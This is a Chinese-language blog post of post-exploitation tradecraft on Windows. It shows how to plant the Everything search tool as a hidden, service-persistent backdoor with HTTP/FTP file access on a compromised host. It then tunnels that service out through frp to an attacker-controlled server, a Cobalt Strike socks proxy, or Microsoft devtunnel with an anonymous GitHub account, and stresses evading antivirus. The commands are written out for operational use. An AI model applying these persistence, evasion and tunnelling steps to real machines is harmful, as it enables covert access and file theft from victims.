后渗透之everything使用

最近需要做一些免杀和后渗透的工作,将一些偏向实战性质的笔记发在这里,给博客清清灰。

everything在后渗透中可以作为一个文件搜索下载工具使用,在一些场景中也可以作为免杀持久化后门使用,下面记录下实战使用方法,注意前提是已经拿到了管理员权限

1. 下载everything便携版

从官网下载即可 https://www.voidtools.com/zh-cn/

这里我一般下载便携版64位就能满足需求了,如果目标是32位机器的话记得下载32位的

2024-04-11T12:02:28.png

2. 生成everything配置文件

双击打开everything.exe,然后在同目录下会生成一个everything.ini。我们需要生成一个配置好的everything.ini文件。

首先打开工具-选项,关闭显示托盘图标

2024-04-11T12:05:12.png

然后开启http和ftp服务:

2024-04-11T12:06:59.png

2024-04-11T12:07:25.png

至此得到everything.ini

3. 上传everything并执行

将everything.exe和everything.ini上传到目标机器,然后执行命令安装启动client,并且将everything注册到系统服务中,开机会自动运行

# 这行命令用来开启进程,添加服务
everything.exe -install-client-service

# 这行命令用来关闭进程,删除服务
everything.exe -uninstall-client-service

2024-04-11T12:17:09.png

附录上everything命令行参数说明


Everything.exe [filename] [options]

filename	      指定打开的文件列表.

-?	      显示帮助.
-admin	      以管理员身份运行 "Everything".
-admin-server-share-links	       ETP 连接中使用 \\Server\C$ 的链接形式.
-app-data	      保存数据到应用程序数据.
-bookmark <name>	      打开指定的书签.
-case	      启用大小写区分.
-choose-language	      显示语言选择窗口.
-choose-volumes	      禁用自动索引.
-close	      关闭当前搜索窗口.
-config <filename>	      指定 ini 文件的文件名.
-connect <user:pass@host:port>	      连接 ETP 服务器.
-console	      显示调试控制台.
-copyto <filename1> <...>	      显示使用指定文件名的多文件重命名工具.
-create-file-list <filename> <path>	      创建一个路径的文件列表.
-create-file-list-exclude-files <list>	      排除匹配筛选器的文件, 筛选器用分号分隔.
-create-file-list-exclude-folders <list>	      排除匹配筛选器的文件夹, 筛选器用分号分隔.
-create-file-list-include-only-files <list>	      仅包含匹配筛选器的文件, 筛选器用分号分隔.
-create-usn-journal <volume> <max-size-bytes> <allocation-delta-bytes>
-db <filename>	      指定数据库的文件名.
-debug	      显示调试控制台.
-debug-log	      记录调试信息到本地硬盘.
-delete-usn-journal <volume>	      删除 USN 日志.
-details	      以详情视图显示结果.
-diacritics	      启用变音符匹配.
-disable-run-as-admin	      禁用以管理员身份运行.
-disable-update-notification	      禁用程序打开时更新通知.
-drive-links	       ETP 连接中使用 C: 的链接形式.
-edit <filename>	      用文件列表编辑器打开文件列表.
-enable-run-as-admin	      启用以管理员身份运行.
-enable-update-notification	      启用程序打开时更新通知.
-exit	      退出 "Everything".
-first-instance	      仅当此为 "Everything" 第一个实例时运行.
-filelist <filename>	      打开指定的文件列表.
-filename <filename>	      搜索指定文件名的文件和文件夹.
-filter <name>	      选择指定的搜索筛选器.
-focus-bottom-result	      聚焦到底部结果.
-focus-last-run-result	      聚焦到上次运行结果.
-focus-most-run-result	      聚焦到最常运行结果.
-focus-results	      聚焦到结果列表.
-focus-top-result	      聚焦到顶部结果.
-ftp-links	       ETP 连接中使用 ftp://host/C: 的链接形式.
-fullscreen	      全屏显示搜索窗口.
-h	      显示帮助.
-help	      显示帮助.
-home	      打开搜索首页.
-install <location>	      安装 "Everything" 到指定路径.
-install-client-service	      安装 "Everything" 客户服务.
-install-config <filename>	      安装指定 ini 文件.
-install-desktop-shortcut	      创建桌面快捷方式.
-install-efu-association	      关联 EFU 文件.
-install-folder-context-menu	      安装文件夹右键菜单.
-install-quick-launch-shortcut	      添加到快速启动栏.
-install-run-on-system-startup	      添加 "Everything" 到启动项.
-install-service	      安装并开启 "Everything" 服务.
-install-service-pipe-name <name>	      指定 "Everything" 服务管道名称.
-install-service-security-descriptor	      指定管道安全描述.
-install-start-menu-shortcuts	      添加 "Everything" 到开始菜单.
-install-url-protocol	      安装 URL 协议.
-instance <name>	      指定 "Everything" 的实例名.
-l	      载入本地数据库.
-language <langID>	      指定语言代码以变更界面语言.
-load-delay <milliseconds>	      载入数据库之前, 指定以毫秒为单位的延迟.
-local	      载入本地数据库.
-matchpath	      启用完整路径匹配.
-maximized	      最大化搜索窗口.
-minimized	      最小化搜索窗口.
-moveto <filename1> <...>	      显示使用指定文件名的多文件重命名工具.
-name-part <filename>	      搜索文件部分文件名.
-newwindow	      新建搜索窗口.
-noapp-data	      保存数据到应用程序路径.
-nocase	      禁用大小写区分.
-nodb	      不保存或载入 "Everything" 数据库.
-nodiacritics	      禁用变音符匹配.
-nofullscreen	      窗口化显示搜索窗口.
-nomatchpath	      禁用完整路径匹配.
-nomaximized	      非最大化搜索窗口.
-nominimized	      非最小化搜索窗口.
-nonewwindow	      显示存在的搜索窗口.
-noontop	      禁用总在最前.
-noregex	      禁用正则表达式.
-noverbose	      显示基本调制信息.
-nowholeword	      禁用全字匹配.
-noww	      禁用全字匹配.
-ontop	      启用总在最前.
-p <path>	      搜索指定的路径.
-parent <path>	      搜索指定文件夹中的文件和子文件夹.
-parentpath <path>	      搜索指定的父目录.
-path <path>	      搜索指定的路径.
-quit	      退出 "Everything".
-read-only	      以只读模式载入数据库.
-regex	      使用正则表达式.
-reindex	      强制重建数据库.
-rename <filename1> <...>	      显示使用指定文件名的多文件重命名工具.
-s <text>	      搜索指定文本.
-search <text>	      搜索指定文本.
-searchfilelist <filename>	      在指定的文本搜索列表中的文件名.
-select <filename>	      聚焦且选定指定结果.
-server-share-links	       ETP 连接中使用 \\Server\C: 的链接形式.
-service-pipe-name <name>	      链接到指定名称的安全管道.
-sort <name>	      以指定名称排列.
-sort-ascending	      升序排列.
-sort-descending	      降序排列.
-start-client-service	      开启 "Everything" 客户服务.
-start-service	      开启 "Everything" 服务.
-startup	      后台运行 "Everything".
-stop-client-service	      停止 "Everything" 客户服务.
-stop-service	      停止 "Everything" 服务.
-svc	      以服务形式运行 "Everything".
-svc-pipe-name <name>	      启用指定名称的管道服务器.
-svc-security-descriptor <sd>	      启用指定安全描述的管道服务器.
-thumbnail-size <size>	      指定图标大小.
-thumbnails	      以图标视图显示结果.
-toggle-window	      隐藏或显示前台搜索窗口.
-uninstall [path]	      指定 "Everything" 路径来卸载.
-uninstall-client-service	      移除 "Everything" 客户服务.
-uninstall-desktop-shortcut	      移除桌面快捷方式.
-uninstall-efu-association	      移除 EFU 文件关联.
-uninstall-folder-context-menu	      移除文件夹右键菜单.
-uninstall-quick-launch-shortcut	      从快速启动栏移除.
-uninstall-run-on-system-startup	      移除 "Everything" 启动项.
-uninstall-service	      移除 "Everything" 服务.
-uninstall-start-menu-shortcuts	      从开始菜单中移除 "Everything" .
-uninstall-url-protocol	      卸载 URL 协议.
-uninstall-user	      移除用户文件.
-update	      更新数据库.
-url <[es:]search>	      搜索指定链接 ES: URL.
-verbose	      显示所有调试信息.
-wholeword	      启用全字匹配.
-ww	      启用全字符匹配.

4. 验证是否生效

在目标上访问127.0.0.1:2088,可以查看网页已经可以打开,并且正常访问了

2024-04-11T14:02:48.png

5. 端口转发

一般情况下,目标都没有公网ip,所以这个时候我们想访问everything也无法访问,需要将端口转发到公网上来,下面介绍三种常见的方式

5.1 frp

就是一个端口转发工具,还有另外一些常见的工具如nps、ew、lcx等等这里就不再概述了,原理都是一样的。因为frp是开源项目所以使用这个工具比较方便。

找一个公网服务器执行

./frps -p 7001 -t helloworld

然后将frpc上传到目标上,执行

frpc.exe tcp --proxy-name=test --server_addr=xxx.xxx.xxx.xxx --server-port 7001 --token=helloworld --local_ip=127.0.0.1 --local_port=2088 --remote_port=12088

ps: 不用的时候需要把frpc.exe进程关掉,不然会一直持续尝试连接server
taskkill /f /t /im frpc.exe

此时访问公网服务器的12088端口就相当于访问目标机器的2088端口了。

ps: 有时候需要做一下frpc的免杀

5.2 cs自带的socks server功能

cs自带socks server功能,可以在cs的server上启动一个socks代理,然后这个代理的流量会转发到目标机器的内网:

2024-04-11T14:11:25.png

然后在浏览器上或者proxychains挂上socks代理,代理的ip为cs的server,端口为刚才cs页面选定的端口,此时就可以直接在浏览器访问目标的http服务了

ps: 但是这种方式效果不太好,网速比较慢

5.3 利用devtunnel实现转发

微软官方提供端口转发的能力,文档可以见https://learn.microsoft.com/zh-cn/azure/developer/dev-tunnels/cli-commands

首先在官方下载devtunnel.exe : https://aka.ms/TunnelsCliDownload/win-x64

然后将devtunnel.exe上传到目标机器,执行

devtunnel.exe user login -g -d

生成一个code,然后在本地打开github.com/login/device,使用github账号绑定一下这个code。(这里注意要新建一个匿名的github账号)

绑定完成后,在目标机器上执行

devtunnel.exe host -p 2088

执行完毕后,就会返回一个链接,打开这个链接,就等于访问目标机器的2088端口了。

ps: 这种方式适用于没有服务器的情况,同时devtunnel.exe有官方签名,天然免杀,缺点就是需要注册一个新的github账号,且网速一般,隧道转发的连接数也有限制